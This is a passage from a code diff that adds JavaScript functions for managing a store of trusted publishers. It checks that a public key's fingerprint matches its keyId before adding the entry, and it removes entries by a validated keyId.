+ try {
706
+ fp = publicKeyFingerprint(publicKey);
707
+ } catch (err) {
708
+ return { ok: false, error: `publicKey unparseable: ${err.message}` };
709
+ }
710
+ if (fp !== keyId) {
711
+ return { ok: false, error: 'publicKey fingerprint does not match keyId' };
712
+ }
713
+ const store = await readTrustedPublishers();
714
+ store.publishers[keyId] = {
715
+ name: typeof name === 'string' && name.length > 0 ? name : undefined,
716
+ publicKey,
717
+ added_at: new Date().toISOString(),
718
+ };
719
+ await writeTrustedPublishers(store);
720
+ return { ok: true, store };
721
+ }
722
+
723
+ /**
724
+ * Remove a trusted publisher entry by keyId. Idempotent.
725
+ *
726
+ * @param {string} keyId
727
+ * @returns {Promise<{ ok: boolean, removed: boolean, store?: object, error?: string }>}
728
+ */
729
+ export async function removeTrustedPublisher(keyId) {
730
+ if (typeof keyId !== 'string' || !PUBLISHER_KEY_ID_PATTERN.test(keyId)) {
731
+ return { ok: false, removed: false, error: 'invalid keyId' };
732
+ }
733
+ const store = await readTrustedPublishers();
734
+ const had = Object.prototype.hasOwnProperty.call(store.publishers, keyId);
735
+ if (had) {
736
+ delete store.publishers[keyId];
737
+ await writeTrustedPublishers(store);
738
+ }
739
+ return { ok: true, removed: had, store };
740
+ }